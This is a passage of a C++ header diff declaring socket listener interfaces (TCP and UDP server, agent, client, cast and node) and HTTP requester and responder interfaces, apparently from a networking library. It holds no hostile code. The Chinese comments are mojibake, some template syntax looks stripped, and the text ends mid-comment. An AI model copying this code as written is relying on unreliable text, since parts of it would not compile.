+class ITcpServerListener : public IServerListenerT +{ +public: + +}; + +/************************************************************************ +鍚嶇О锛歅USH 妯″瀷鏈嶅姟绔 Socket 鐩戝惉鍣ㄦ娊璞″熀绫 +鎻忚堪锛氬畾涔夋煇浜涗簨浠剁殑榛樿澶勭悊鏂规硶锛堝拷鐣ヤ簨浠讹級 +************************************************************************/ +class CTcpServerListener : public ITcpServerListener +{ +public: + virtual EnHandleResult OnPrepareListen(ITcpServer* pSender, SOCKET soListen) {return HR_IGNORE;} + virtual EnHandleResult OnAccept(ITcpServer* pSender, CONNID dwConnID, UINT_PTR soClient) {return HR_IGNORE;} + virtual EnHandleResult OnHandShake(ITcpServer* pSender, CONNID dwConnID) {return HR_IGNORE;} + virtual EnHandleResult OnReceive(ITcpServer* pSender, CONNID dwConnID, int iLength) {return HR_IGNORE;} + virtual EnHandleResult OnSend(ITcpServer* pSender, CONNID dwConnID, const BYTE* pData, int iLength) {return HR_IGNORE;} + virtual EnHandleResult OnShutdown(ITcpServer* pSender) {return HR_IGNORE;} +}; + +/************************************************************************ +鍚嶇О锛歅ULL 妯″瀷鏈嶅姟绔 Socket 鐩戝惉鍣ㄦ娊璞″熀绫 +鎻忚堪锛氬畾涔夋煇浜涗簨浠剁殑榛樿澶勭悊鏂规硶锛堝拷鐣ヤ簨浠讹級 +************************************************************************/ +class CTcpPullServerListener : public CTcpServerListener +{ +public: + virtual EnHandleResult OnReceive(ITcpServer* pSender, CONNID dwConnID, int iLength) = 0; + virtual EnHandleResult OnReceive(ITcpServer* pSender, CONNID dwConnID, const BYTE* pData, int iLength) {return HR_IGNORE;} +}; + +#ifdef _UDP_SUPPORT + +/************************************************************************ +鍚嶇О锛歎DP 鏈嶅姟绔 Socket 鐩戝惉鍣ㄦ帴鍙 +鎻忚堪锛氬畾涔 UDP 鏈嶅姟绔 Socket 鐩戝惉鍣ㄧ殑鎵鏈変簨浠 +************************************************************************/ +class IUdpServerListener : public IServerListenerT +{ +public: + +}; + +/************************************************************************ +鍚嶇О锛歎DP 鏈嶅姟绔 Socket 鐩戝惉鍣ㄦ娊璞″熀绫 +鎻忚堪锛氬畾涔夋煇浜涗簨浠剁殑榛樿澶勭悊鏂规硶锛堝拷鐣ヤ簨浠讹級 +************************************************************************/ +class CUdpServerListener : public IUdpServerListener +{ +public: + virtual EnHandleResult OnPrepareListen(IUdpServer* pSender, SOCKET soListen) {return HR_IGNORE;} + virtual EnHandleResult OnAccept(IUdpServer* pSender, CONNID dwConnID, UINT_PTR pSockAddr) {return HR_IGNORE;} + virtual EnHandleResult OnHandShake(IUdpServer* pSender, CONNID dwConnID) {return HR_IGNORE;} + virtual EnHandleResult OnReceive(IUdpServer* pSender, CONNID dwConnID, int iLength) {return HR_IGNORE;} + virtual EnHandleResult OnSend(IUdpServer* pSender, CONNID dwConnID, const BYTE* pData, int iLength) {return HR_IGNORE;} + virtual EnHandleResult OnShutdown(IUdpServer* pSender) {return HR_IGNORE;} +}; + +#endif + +/************************************************************************ +鍚嶇О锛氶氫俊浠g悊 Socket 鐩戝惉鍣ㄦ帴鍙 +鎻忚堪锛氬畾涔 閫氫俊浠g悊 Socket 鐩戝惉鍣ㄧ殑鎵鏈変簨浠 +************************************************************************/ +template class IAgentListenerT : public IComplexSocketListenerT +{ +public: + + /* + * 鍚嶇О锛氬噯澶囪繛鎺ラ氱煡 + * 鎻忚堪锛氶氫俊瀹㈡埛绔粍浠跺惎鍔ㄦ椂锛屽湪瀹㈡埛绔 Socket 鍒涘缓瀹屾垚骞跺紑濮嬫墽琛岃繛鎺ュ墠锛孲ocket 鐩戝惉 + * 鍣ㄥ皢鏀跺埌璇ラ氱煡锛岀洃鍚櫒鍙互鍦ㄩ氱煡澶勭悊鏂规硶涓墽琛 Socket 閫夐」璁剧疆绛夐澶栧伐浣 + * + * 鍙傛暟锛 pSender -- 浜嬩欢婧愬璞 + * dwConnID -- 杩炴帴 ID + * socket -- 瀹㈡埛绔 Socket + * 杩斿洖鍊硷細 HR_OK / HR_IGNORE -- 缁х画鎵ц + * HR_ERROR -- 缁堟鍚姩閫氫俊瀹㈡埛绔粍浠 + */ + virtual EnHandleResult OnPrepareConnect(T* pSender, CONNID dwConnID, SOCKET socket) = 0; + + /* + * 鍚嶇О锛氳繛鎺ュ畬鎴愰氱煡 + * 鎻忚堪锛氫笌鏈嶅姟绔垚鍔熷缓绔嬭繛鎺ユ椂锛孲ocket 鐩戝惉鍣ㄥ皢鏀跺埌璇ラ氱煡 + * + * 鍙傛暟锛 pSender -- 浜嬩欢婧愬璞 + * dwConnID -- 杩炴帴 ID + * 杩斿洖鍊硷細 HR_OK / HR_IGNORE -- 缁х画鎵ц + * HR_ERROR -- 鍚屾杩炴帴锛氱粓姝㈠惎鍔ㄩ氫俊瀹㈡埛绔粍浠 + * 寮傛杩炴帴锛氬叧闂繛鎺 + */ + virtual EnHandleResult OnConnect(T* pSender, CONNID dwConnID) = 0; +}; + +/************************************************************************ +鍚嶇О锛歍CP 閫氫俊浠g悊 Socket 鐩戝惉鍣ㄦ帴鍙 +鎻忚堪锛氬畾涔 TCP 閫氫俊浠g悊 Socket 鐩戝惉鍣ㄧ殑鎵鏈変簨浠 +************************************************************************/ +class ITcpAgentListener : public IAgentListenerT +{ +public: + +}; + +/************************************************************************ +鍚嶇О锛歅USH 妯″瀷閫氫俊浠g悊 Socket 鐩戝惉鍣ㄦ娊璞″熀绫 +鎻忚堪锛氬畾涔夋煇浜涗簨浠剁殑榛樿澶勭悊鏂规硶锛堝拷鐣ヤ簨浠讹級 +************************************************************************/ +class CTcpAgentListener : public ITcpAgentListener +{ +public: + virtual EnHandleResult OnPrepareConnect(ITcpAgent* pSender, CONNID dwConnID, SOCKET socket) {return HR_IGNORE;} + virtual EnHandleResult OnConnect(ITcpAgent* pSender, CONNID dwConnID) {return HR_IGNORE;} + virtual EnHandleResult OnHandShake(ITcpAgent* pSender, CONNID dwConnID) {return HR_IGNORE;} + virtual EnHandleResult OnReceive(ITcpAgent* pSender, CONNID dwConnID, int iLength) {return HR_IGNORE;} + virtual EnHandleResult OnSend(ITcpAgent* pSender, CONNID dwConnID, const BYTE* pData, int iLength) {return HR_IGNORE;} + virtual EnHandleResult OnShutdown(ITcpAgent* pSender) {return HR_IGNORE;} +}; + +/************************************************************************ +鍚嶇О锛歅ULL 閫氫俊浠g悊 Socket 鐩戝惉鍣ㄦ娊璞″熀绫 +鎻忚堪锛氬畾涔夋煇浜涗簨浠剁殑榛樿澶勭悊鏂规硶锛堝拷鐣ヤ簨浠讹級 +************************************************************************/ +class CTcpPullAgentListener : public CTcpAgentListener +{ +public: + virtual EnHandleResult OnReceive(ITcpAgent* pSender, CONNID dwConnID, int iLength) = 0; + virtual EnHandleResult OnReceive(ITcpAgent* pSender, CONNID dwConnID, const BYTE* pData, int iLength) {return HR_IGNORE;} +}; + +/************************************************************************ +鍚嶇О锛氬鎴风 Socket 鐩戝惉鍣ㄦ帴鍙 +鎻忚堪锛氬畾涔夊鎴风 Socket 鐩戝惉鍣ㄧ殑鎵鏈変簨浠 +************************************************************************/ + +template class IClientListenerT : public ISocketListenerT +{ +public: + + /* + * 鍚嶇О锛氬噯澶囪繛鎺ラ氱煡 + * 鎻忚堪锛氶氫俊瀹㈡埛绔粍浠跺惎鍔ㄦ椂锛屽湪瀹㈡埛绔 Socket 鍒涘缓瀹屾垚骞跺紑濮嬫墽琛岃繛鎺ュ墠锛孲ocket 鐩戝惉 + * 鍣ㄥ皢鏀跺埌璇ラ氱煡锛岀洃鍚櫒鍙互鍦ㄩ氱煡澶勭悊鏂规硶涓墽琛 Socket 閫夐」璁剧疆绛夐澶栧伐浣 + * + * 鍙傛暟锛 pSender -- 浜嬩欢婧愬璞 + * dwConnID -- 杩炴帴 ID + * socket -- 瀹㈡埛绔 Socket + * 杩斿洖鍊硷細 HR_OK / HR_IGNORE -- 缁х画鎵ц + * HR_ERROR -- 缁堟鍚姩閫氫俊瀹㈡埛绔粍浠 + */ + virtual EnHandleResult OnPrepareConnect(T* pSender, CONNID dwConnID, SOCKET socket) = 0; + + /* + * 鍚嶇О锛氳繛鎺ュ畬鎴愰氱煡 + * 鎻忚堪锛氫笌鏈嶅姟绔垚鍔熷缓绔嬭繛鎺ユ椂锛孲ocket 鐩戝惉鍣ㄥ皢鏀跺埌璇ラ氱煡 + * + * 鍙傛暟锛 pSender -- 浜嬩欢婧愬璞 + * dwConnID -- 杩炴帴 ID + * 杩斿洖鍊硷細 HR_OK / HR_IGNORE -- 缁х画鎵ц + * HR_ERROR -- 鍚屾杩炴帴锛氱粓姝㈠惎鍔ㄩ氫俊瀹㈡埛绔粍浠 + * 寮傛杩炴帴锛氬叧闂繛鎺 + */ + virtual EnHandleResult OnConnect(T* pSender, CONNID dwConnID) = 0; +}; + +/************************************************************************ +鍚嶇О锛歍CP 瀹㈡埛绔 Socket 鐩戝惉鍣ㄦ帴鍙 +鎻忚堪锛氬畾涔 TCP 瀹㈡埛绔 Socket 鐩戝惉鍣ㄧ殑鎵鏈変簨浠 +************************************************************************/ +class ITcpClientListener : public IClientListenerT +{ +public: + +}; + +/************************************************************************ +鍚嶇О锛歅USH 妯″瀷瀹㈡埛绔 Socket 鐩戝惉鍣ㄦ娊璞″熀绫 +鎻忚堪锛氬畾涔夋煇浜涗簨浠剁殑榛樿澶勭悊鏂规硶锛堝拷鐣ヤ簨浠讹級 +************************************************************************/ +class CTcpClientListener : public ITcpClientListener +{ +public: + virtual EnHandleResult OnPrepareConnect(ITcpClient* pSender, CONNID dwConnID, SOCKET socket) {return HR_IGNORE;} + virtual EnHandleResult OnConnect(ITcpClient* pSender, CONNID dwConnID) {return HR_IGNORE;} + virtual EnHandleResult OnHandShake(ITcpClient* pSender, CONNID dwConnID) {return HR_IGNORE;} + virtual EnHandleResult OnReceive(ITcpClient* pSender, CONNID dwConnID, int iLength) {return HR_IGNORE;} + virtual EnHandleResult OnSend(ITcpClient* pSender, CONNID dwConnID, const BYTE* pData, int iLength) {return HR_IGNORE;} +}; + +/************************************************************************ +鍚嶇О锛歅ULL 瀹㈡埛绔 Socket 鐩戝惉鍣ㄦ娊璞″熀绫 +鎻忚堪锛氬畾涔夋煇浜涗簨浠剁殑榛樿澶勭悊鏂规硶锛堝拷鐣ヤ簨浠讹級 +************************************************************************/ +class CTcpPullClientListener : public CTcpClientListener +{ +public: + virtual EnHandleResult OnReceive(ITcpClient* pSender, CONNID dwConnID, int iLength) = 0; + virtual EnHandleResult OnReceive(ITcpClient* pSender, CONNID dwConnID, const BYTE* pData, int iLength) {return HR_IGNORE;} +}; + +#ifdef _UDP_SUPPORT + +/************************************************************************ +鍚嶇О锛歎DP 瀹㈡埛绔 Socket 鐩戝惉鍣ㄦ帴鍙 +鎻忚堪锛氬畾涔 UDP 瀹㈡埛绔 Socket 鐩戝惉鍣ㄧ殑鎵鏈変簨浠 +************************************************************************/ +class IUdpClientListener : public IClientListenerT +{ +public: + +}; + +/************************************************************************ +鍚嶇О锛歎DP 鎴风 Socket 鐩戝惉鍣ㄦ娊璞″熀绫 +鎻忚堪锛氬畾涔夋煇浜涗簨浠剁殑榛樿澶勭悊鏂规硶锛堝拷鐣ヤ簨浠讹級 +************************************************************************/ +class CUdpClientListener : public IUdpClientListener +{ +public: + virtual EnHandleResult OnPrepareConnect(IUdpClient* pSender, CONNID dwConnID, SOCKET socket) {return HR_IGNORE;} + virtual EnHandleResult OnConnect(IUdpClient* pSender, CONNID dwConnID) {return HR_IGNORE;} + virtual EnHandleResult OnHandShake(IUdpClient* pSender, CONNID dwConnID) {return HR_IGNORE;} + virtual EnHandleResult OnReceive(IUdpClient* pSender, CONNID dwConnID, int iLength) {return HR_IGNORE;} + virtual EnHandleResult OnSend(IUdpClient* pSender, CONNID dwConnID, const BYTE* pData, int iLength) {return HR_IGNORE;} +}; + +/************************************************************************ +鍚嶇О锛歎DP 浼犳挱 Socket 鐩戝惉鍣ㄦ帴鍙 +鎻忚堪锛氬畾涔 UDP 浼犳挱 Socket 鐩戝惉鍣ㄧ殑鎵鏈変簨浠 +************************************************************************/ +class IUdpCastListener : public IClientListenerT +{ +public: + +}; + +/************************************************************************ +鍚嶇О锛歎DP 浼犳挱 Socket 鐩戝惉鍣ㄦ娊璞″熀绫 +鎻忚堪锛氬畾涔夋煇浜涗簨浠剁殑榛樿澶勭悊鏂规硶锛堝拷鐣ヤ簨浠讹級 +************************************************************************/ +class CUdpCastListener : public IUdpCastListener +{ +public: + virtual EnHandleResult OnPrepareConnect(IUdpCast* pSender, CONNID dwConnID, SOCKET socket) {return HR_IGNORE;} + virtual EnHandleResult OnConnect(IUdpCast* pSender, CONNID dwConnID) {return HR_IGNORE;} + virtual EnHandleResult OnHandShake(IUdpCast* pSender, CONNID dwConnID) {return HR_IGNORE;} + virtual EnHandleResult OnReceive(IUdpCast* pSender, CONNID dwConnID, int iLength) {return HR_IGNORE;} + virtual EnHandleResult OnSend(IUdpCast* pSender, CONNID dwConnID, const BYTE* pData, int iLength) {return HR_IGNORE;} +}; + +/************************************************************************ +鍚嶇О锛歎DP 鑺傜偣 Socket 鐩戝惉鍣ㄦ帴鍙 +鎻忚堪锛氬畾涔 UDP 鑺傜偣 Socket 鐩戝惉鍣ㄧ殑鎵鏈変簨浠 +************************************************************************/ +class IUdpNodeListener +{ +public: + + /* + * 鍚嶇О锛氬噯澶囩洃鍚氱煡 + * 鎻忚堪锛氶氫俊缁勪欢鍚姩鏃讹紝鍦ㄧ洃鍚 Socket 鍒涘缓瀹屾垚骞跺紑濮嬫墽琛岀洃鍚墠锛孲ocket 鐩戝惉鍣 + * 灏嗘敹鍒拌閫氱煡锛岀洃鍚櫒鍙互鍦ㄩ氱煡澶勭悊鏂规硶涓墽琛 Socket 閫夐」璁剧疆绛夐澶栧伐浣 + * + * 鍙傛暟锛 pSender -- 浜嬩欢婧愬璞 + * soListen -- 鐩戝惉 Socket + * 杩斿洖鍊硷細 HR_OK / HR_IGNORE -- 缁х画鎵ц + * HR_ERROR -- 缁堟鍚姩閫氫俊鏈嶅姟缁勪欢 + */ + virtual EnHandleResult OnPrepareListen(IUdpNode* pSender, SOCKET soListen) = 0; + + /* + * 鍚嶇О锛氬凡鍙戦佹暟鎹氱煡 + * 鎻忚堪锛氭垚鍔熷彂閫佹暟鎹悗锛孲ocket 鐩戝惉鍣ㄥ皢鏀跺埌璇ラ氱煡 + * + * 鍙傛暟锛 pSender -- 浜嬩欢婧愬璞 + * lpszRemoteAddress -- 杩滅▼鍦板潃 + * usRemotePort -- 杩滅▼绔彛 + * pData -- 宸插彂閫佹暟鎹紦鍐插尯 + * iLength -- 宸插彂閫佹暟鎹暱搴 + * 杩斿洖鍊硷細 蹇界暐杩斿洖鍊 + */ + virtual EnHandleResult OnSend(IUdpNode* pSender, LPCTSTR lpszRemoteAddress, USHORT usRemotePort, const BYTE* pData, int iLength) = 0; + + /* + * 鍚嶇О锛氭暟鎹埌杈鹃氱煡锛圥USH 妯″瀷锛 + * 鎻忚堪锛氭垚鍔熸帴鏀舵暟鎹悗锛孲ocket 鐩戝惉鍣ㄥ皢鏀跺埌璇ラ氱煡 + * + * 鍙傛暟锛 pSender -- 浜嬩欢婧愬璞 + * lpszRemoteAddress -- 杩滅▼鍦板潃 + * usRemotePort -- 杩滅▼绔彛 + * pData -- 宸插彂閫佹暟鎹紦鍐插尯 + * iLength -- 宸插彂閫佹暟鎹暱搴 + * 杩斿洖鍊硷細 蹇界暐杩斿洖鍊 + */ + virtual EnHandleResult OnReceive(IUdpNode* pSender, LPCTSTR lpszRemoteAddress, USHORT usRemotePort, const BYTE* pData, int iLength) = 0; + + /* + * 鍚嶇О锛氶氫俊閿欒閫氱煡 + * 鎻忚堪锛氶氫俊鍙戠敓閿欒鍚庯紝Socket 鐩戝惉鍣ㄥ皢鏀跺埌璇ラ氱煡 + * + * 鍙傛暟锛 pSender -- 浜嬩欢婧愬璞 + * lpszRemoteAddress -- 杩滅▼鍦板潃 + * usRemotePort -- 杩滅▼绔彛 + * enOperation -- Socket 鎿嶄綔绫诲瀷 + * iErrorCode -- 閿欒浠g爜 + * pData -- 鏈浜嬩欢鍏宠仈鐨勬暟鎹紦鍐插尯 + * iLength -- 鏈浜嬩欢鍏宠仈鐨勬暟鎹暱搴 + * 杩斿洖鍊硷細 蹇界暐杩斿洖鍊 + */ + virtual EnHandleResult OnError(IUdpNode* pSender, EnSocketOperation enOperation, int iErrorCode, LPCTSTR lpszRemoteAddress, USHORT usRemotePort, const BYTE* pData, int iLength) = 0; + + /* + * 鍚嶇О锛氬叧闂氫俊缁勪欢閫氱煡 + * 鎻忚堪锛氶氫俊缁勪欢鍏抽棴鏃讹紝Socket 鐩戝惉鍣ㄥ皢鏀跺埌璇ラ氱煡 + * + * 鍙傛暟锛 pSender -- 浜嬩欢婧愬璞 + * 杩斿洖鍊硷細 蹇界暐杩斿洖鍊 + */ + virtual EnHandleResult OnShutdown(IUdpNode* pSender) = 0; + +public: + virtual ~IUdpNodeListener() {} +}; + +/************************************************************************ +鍚嶇О锛歎DP 鑺傜偣 Socket 鐩戝惉鍣ㄦ娊璞″熀绫 +鎻忚堪锛氬畾涔夋煇浜涗簨浠剁殑榛樿澶勭悊鏂规硶锛堝拷鐣ヤ簨浠讹級 +************************************************************************/ +class CUdpNodeListener : public IUdpNodeListener +{ +public: + virtual EnHandleResult OnPrepareListen(IUdpNode* pSender, SOCKET soListen) {return HR_IGNORE;} + virtual EnHandleResult OnSend(IUdpNode* pSender, LPCTSTR lpszRemoteAddress, USHORT usRemotePort, const BYTE* pData, int iLength) {return HR_IGNORE;} + virtual EnHandleResult OnShutdown(IUdpNode* pSender) {return HR_IGNORE;} +}; + +#endif + +/*****************************************************************************************************************************************************/ +/****************************************************************** HTTP Interfaces ******************************************************************/ +/*****************************************************************************************************************************************************/ + +#ifdef _HTTP_SUPPORT + +/************************************************************************ +鍚嶇О锛氬鍚 Http 缁勪欢鎺ュ彛 +鎻忚堪锛氬畾涔夊鍚 Http 缁勪欢鐨勬墍鏈夋搷浣滄柟娉曞拰灞炴ц闂柟娉曪紝澶嶅悎 Http 缁勪欢鍚屾椂绠$悊澶氫釜 Http 杩炴帴 +************************************************************************/ +class IComplexHttp +{ +public: + + /***********************************************************************/ + /***************************** 缁勪欢鎿嶄綔鏂规硶 *****************************/ + + /* + * 鍚嶇О锛氬惎鍔 HTTP 閫氫俊 + * 鎻忚堪锛氬綋閫氫俊缁勪欢璁剧疆涓洪潪鑷姩鍚姩 HTTP 閫氫俊鏃讹紝闇瑕佽皟鐢ㄦ湰鏂规硶鍚姩 HTTP 閫氫俊 + * + * 杩斿洖鍊硷細 TRUE -- 鎴愬姛 + * FALSE -- 澶辫触锛屽彲閫氳繃 SYS_GetLastError() 鑾峰彇澶辫触鍘熷洜 + */ + virtual BOOL StartHttp(CONNID dwConnID) = 0; + + /* + * 鍚嶇О锛氬彂閫 Chunked 鏁版嵁鍒嗙墖 + * 鎻忚堪锛氬悜瀵圭鍙戦 Chunked 鏁版嵁鍒嗙墖 + * + * 鍙傛暟锛 dwConnID -- 杩炴帴 ID + * pData -- Chunked 鏁版嵁鍒嗙墖 + * iLength -- 鏁版嵁鍒嗙墖闀垮害锛堜负 0 琛ㄧず缁撴潫鍒嗙墖锛 + * lpszExtensions -- 鎵╁睍灞炴э紙榛樿锛歯ullptr锛 + * 杩斿洖鍊硷細 TRUE -- 鎴愬姛 + * FALSE -- 澶辫触 + */ + virtual BOOL SendChunkData(CONNID dwConnID, const BYTE* pData = nullptr, int iLength = 0, LPCSTR lpszExtensions = nullptr) = 0; + +public: + + /***********************************************************************/ + /***************************** 灞炴ц闂柟娉 *****************************/ + + /* 璁剧疆鏈湴鍗忚鐗堟湰 */ + virtual void SetLocalVersion(EnHttpVersion usVersion) = 0; + /* 鑾峰彇鏈湴鍗忚鐗堟湰 */ + virtual EnHttpVersion GetLocalVersion() = 0; + + /* 妫鏌ユ槸鍚﹀崌绾у崗璁 */ + virtual BOOL IsUpgrade(CONNID dwConnID) = 0; + /* 妫鏌ユ槸鍚︽湁 Keep-Alive 鏍囪瘑 */ + virtual BOOL IsKeepAlive(CONNID dwConnID) = 0; + /* 鑾峰彇鍗忚鐗堟湰 */ + virtual USHORT GetVersion(CONNID dwConnID) = 0; + /* 鑾峰彇鍐呭闀垮害 */ + virtual ULONGLONG GetContentLength(CONNID dwConnID) = 0; + /* 鑾峰彇鍐呭绫诲瀷 */ + virtual LPCSTR GetContentType(CONNID dwConnID) = 0; + /* 鑾峰彇鍐呭缂栫爜 */ + virtual LPCSTR GetContentEncoding(CONNID dwConnID) = 0; + /* 鑾峰彇浼犺緭缂栫爜 */ + virtual LPCSTR GetTransferEncoding(CONNID dwConnID) = 0; + /* 鑾峰彇鍗忚鍗囩骇绫诲瀷 */ + virtual EnHttpUpgradeType GetUpgradeType(CONNID dwConnID) = 0; + /* 鑾峰彇瑙f瀽閿欒浠g爜 */ + virtual USHORT GetParseErrorCode(CONNID dwConnID, LPCSTR* lpszErrorDesc = nullptr) = 0; + + /* 鑾峰彇鏌愪釜璇锋眰澶达紙鍗曞硷級 */ + virtual BOOL GetHeader(CONNID dwConnID, LPCSTR lpszName, LPCSTR* lpszValue) = 0; + /* 鑾峰彇鏌愪釜璇锋眰澶达紙澶氬硷級 */ + virtual BOOL GetHeaders(CONNID dwConnID, LPCSTR lpszName, LPCSTR lpszValue[], DWORD& dwCount) = 0; + /* 鑾峰彇鎵鏈夎姹傚ご */ + virtual BOOL GetAllHeaders(CONNID dwConnID, THeader lpHeaders[], DWORD& dwCount) = 0; + /* 鑾峰彇鎵鏈夎姹傚ご鍚嶇О */ + virtual BOOL GetAllHeaderNames(CONNID dwConnID, LPCSTR lpszName[], DWORD& dwCount) = 0; + + /* 鑾峰彇 Cookie */ + virtual BOOL GetCookie(CONNID dwConnID, LPCSTR lpszName, LPCSTR* lpszValue) = 0; + /* 鑾峰彇鎵鏈 Cookie */ + virtual BOOL GetAllCookies(CONNID dwConnID, TCookie lpCookies[], DWORD& dwCount) = 0; + + /* + // !! maybe implemented in future !! // + + virtual BOOL GetParam(CONNID dwConnID, LPCSTR lpszName, LPCSTR* lpszValue) = 0; + virtual BOOL GetParams(CONNID dwConnID, LPCSTR lpszName, LPCSTR lpszValue[], DWORD& dwCount) = 0; + virtual BOOL GetAllParams(CONNID dwConnID, LPPARAM lpszParam[], DWORD& dwCount) = 0; + virtual BOOL GetAllParamNames(CONNID dwConnID, LPCSTR lpszName[], DWORD& dwCount) = 0; + */ + + /* 鑾峰彇褰撳墠 WebSocket 娑堟伅鐘舵侊紝浼犲叆 nullptr 鍒欎笉鑾峰彇鐩稿簲瀛楁 */ + virtual BOOL GetWSMessageState(CONNID dwConnID, BOOL* lpbFinal, BYTE* lpiReserved, BYTE* lpiOperationCode, LPCBYTE* lpszMask, ULONGLONG* lpullBodyLen, ULONGLONG* lpullBodyRemain) = 0; + + /* 璁剧疆 HTTP 鍚姩鏂瑰紡锛堥粯璁わ細TRUE锛岃嚜鍔ㄥ惎鍔級 */ + virtual void SetHttpAutoStart(BOOL bAutoStart) = 0; + /* 鑾峰彇 HTTP 鍚姩鏂瑰紡 */ + virtual BOOL IsHttpAutoStart() = 0; + +public: + virtual ~IComplexHttp() {} +}; + +/************************************************************************ +鍚嶇О锛氬鍚 Http 璇锋眰鑰呯粍浠舵帴鍙 +鎻忚堪锛氬畾涔夊鍚 Http 璇锋眰鑰呯粍浠剁殑鎵鏈夋搷浣滄柟娉曞拰灞炴ц闂柟娉 +************************************************************************/ +class IComplexHttpRequester : public IComplexHttp +{ +public: + + /***********************************************************************/ + /***************************** 缁勪欢鎿嶄綔鏂规硶 *****************************/ + + /* + * 鍚嶇О锛氬彂閫 WebSocket 娑堟伅 + * 鎻忚堪锛氬悜瀵圭绔彂閫 WebSocket 娑堟伅 + * + * 鍙傛暟锛 dwConnID -- 杩炴帴 ID + * bFinal -- 鏄惁缁撴潫甯 + * iReserved -- RSV1/RSV2/RSV3 鍚 1 浣 + * iOperationCode -- 鎿嶄綔鐮侊細0x0 - 0xF + * lpszMask -- 鎺╃爜锛坣ullptr 鎴 4 瀛楄妭鎺╃爜锛屽鏋滀负 nullptr 鍒欐病鏈夋帺鐮侊級 + * pData -- 娑堟伅浣撴暟鎹紦鍐插尯 + * iLength -- 娑堟伅浣撴暟鎹暱搴 + * ullBodyLen -- 娑堟伅鎬婚暱搴 + * ullBodyLen = 0 -> 娑堟伅鎬婚暱搴︿负 iLength + * ullBodyLen = iLength -> 娑堟伅鎬婚暱搴︿负 ullBodyLen + * ullBodyLen > iLength -> 娑堟伅鎬婚暱搴︿负 ullBodyLen锛屽悗缁秷鎭綋闀垮害涓 ullBOdyLen - iLength锛屽悗缁秷鎭綋閫氳繃搴曞眰鏂规硶 Send() / SendPackets() 鍙戦 + * ullBodyLen < iLength -> 閿欒鍙傛暟锛屽彂閫佸け璐 + * 杩斿洖鍊硷細 TRUE -- 鎴愬姛 + * FALSE -- 澶辫触 + */ + virtual BOOL SendWSMessage(CONNID dwConnID, BOOL bFinal, BYTE iReserved, BYTE iOperationCode, const BYTE lpszMask[4], const BYTE* pData = nullptr, int iLength = 0, ULONGLONG ullBodyLen = 0) = 0; + + /* + * 鍚嶇О锛氬彂閫佽姹 + * 鎻忚堪锛氬悜鏈嶅姟绔彂閫 HTTP 璇锋眰 + * + * 鍙傛暟锛 dwConnID -- 杩炴帴 ID + * lpszMethod -- 璇锋眰鏂规硶 + * lpszPath -- 璇锋眰璺緞 + * lpHeaders -- 璇锋眰澶 + * iHeaderCount -- 璇锋眰澶存暟閲 + * pBody -- 璇锋眰浣 + * iLength -- 璇锋眰浣撻暱搴 + * 杩斿洖鍊硷細 TRUE -- 鎴愬姛 + * FALSE -- 澶辫触 + */ + virtual BOOL SendRequest(CONNID dwConnID, LPCSTR lpszMethod, LPCSTR lpszPath, const THeader lpHeaders[] = nullptr, int iHeaderCount = 0, const BYTE* pBody = nullptr, int iLength = 0) = 0; + + /* + * 鍚嶇О锛氬彂閫佹湰鍦版枃浠 + * 鎻忚堪锛氬悜鎸囧畾杩炴帴鍙戦 4096 KB 浠ヤ笅鐨勫皬鏂囦欢 + * + * 鍙傛暟锛 dwConnID -- 杩炴帴 ID + * lpszFileName -- 鏂囦欢璺緞 + * lpszMethod -- 璇锋眰鏂规硶 + * lpszPath -- 璇锋眰璺緞 + * lpHeaders -- 璇锋眰澶 + * iHeaderCount -- 璇锋眰澶存暟閲 + * 杩斿洖鍊硷細 TRUE -- 鎴愬姛 + * FALSE -- 澶辫触 + */ + virtual BOOL SendLocalFile(CONNID dwConnID, LPCSTR lpszFileName, LPCSTR lpszMethod, LPCSTR lpszPath, const THeader lpHeaders[] = nullptr, int iHeaderCount = 0) = 0; + + /* 鍙戦 POST 璇锋眰 */ + virtual BOOL SendPost(CONNID dwConnID, LPCSTR lpszPath, const THeader lpHeaders[], int iHeaderCount, const BYTE* pBody, int iLength) = 0; + /* 鍙戦 PUT 璇锋眰 */ + virtual BOOL SendPut(CONNID dwConnID, LPCSTR lpszPath, const THeader lpHeaders[], int iHeaderCount, const BYTE* pBody, int iLength) = 0; + /* 鍙戦 PATCH 璇锋眰 */ + virtual BOOL SendPatch(CONNID dwConnID, LPCSTR lpszPath, const THeader lpHeaders[], int iHeaderCount, const BYTE* pBody, int iLength) = 0; + /* 鍙戦 GET 璇锋眰 */ + virtual BOOL SendGet(CONNID dwConnID, LPCSTR lpszPath, const THeader lpHeaders[] = nullptr, int iHeaderCount = 0) = 0; + /* 鍙戦 DELETE 璇锋眰 */ + virtual BOOL SendDelete(CONNID dwConnID, LPCSTR lpszPath, const THeader lpHeaders[] = nullptr, int iHeaderCount = 0) = 0; + /* 鍙戦 HEAD 璇锋眰 */ + virtual BOOL SendHead(CONNID dwConnID, LPCSTR lpszPath, const THeader lpHeaders[] = nullptr, int iHeaderCount = 0) = 0; + /* 鍙戦 TRACE 璇锋眰 */ + virtual BOOL SendTrace(CONNID dwConnID, LPCSTR lpszPath, const THeader lpHeaders[] = nullptr, int iHeaderCount = 0) = 0; + /* 鍙戦 OPTIONS 璇锋眰 */ + virtual BOOL SendOptions(CONNID dwConnID, LPCSTR lpszPath, const THeader lpHeaders[] = nullptr, int iHeaderCount = 0) = 0; + /* 鍙戦 CONNECT 璇锋眰 */ + virtual BOOL SendConnect(CONNID dwConnID, LPCSTR lpszHost, const THeader lpHeaders[] = nullptr, int iHeaderCount = 0) = 0; + +public: + + /***********************************************************************/ + /***************************** 灞炴ц闂柟娉 *****************************/ + + /* 鑾峰彇 HTTP 鐘舵佺爜 */ + virtual USHORT GetStatusCode(CONNID dwConnID) = 0; + + /* 璁剧疆鏄惁浣跨敤 Cookie锛堥粯璁わ細TRUE锛 */ + virtual void SetUseCookie(BOOL bUseCookie) = 0; + /* 妫鏌ユ槸鍚︿娇鐢 Cookie */ + virtual BOOL IsUseCookie() = 0; +}; + +/************************************************************************ +鍚嶇О锛氬鍚 Http 鍝嶅簲鑰呯粍浠舵帴鍙 +鎻忚堪锛氬畾涔夊鍚 Http 鍝嶅簲鑰呯粍浠剁殑鎵鏈夋搷浣滄柟娉曞拰灞炴ц闂柟娉 +************************************************************************/ +class IComplexHttpResponder : public IComplexHttp +{ +public: + + /***********************************************************************/ + /***************************** 缁勪欢鎿嶄綔鏂规硶 *****************************/ + + /* + * 鍚嶇О锛氬彂閫 WebSocket 娑堟伅 + * 鎻忚堪锛氬悜瀵圭绔彂閫 WebSocket 娑堟伅 + * + * 鍙傛暟锛 dwConnID -- 杩炴帴 ID + * bFinal -- 鏄惁缁撴潫甯 + * iReserved -- 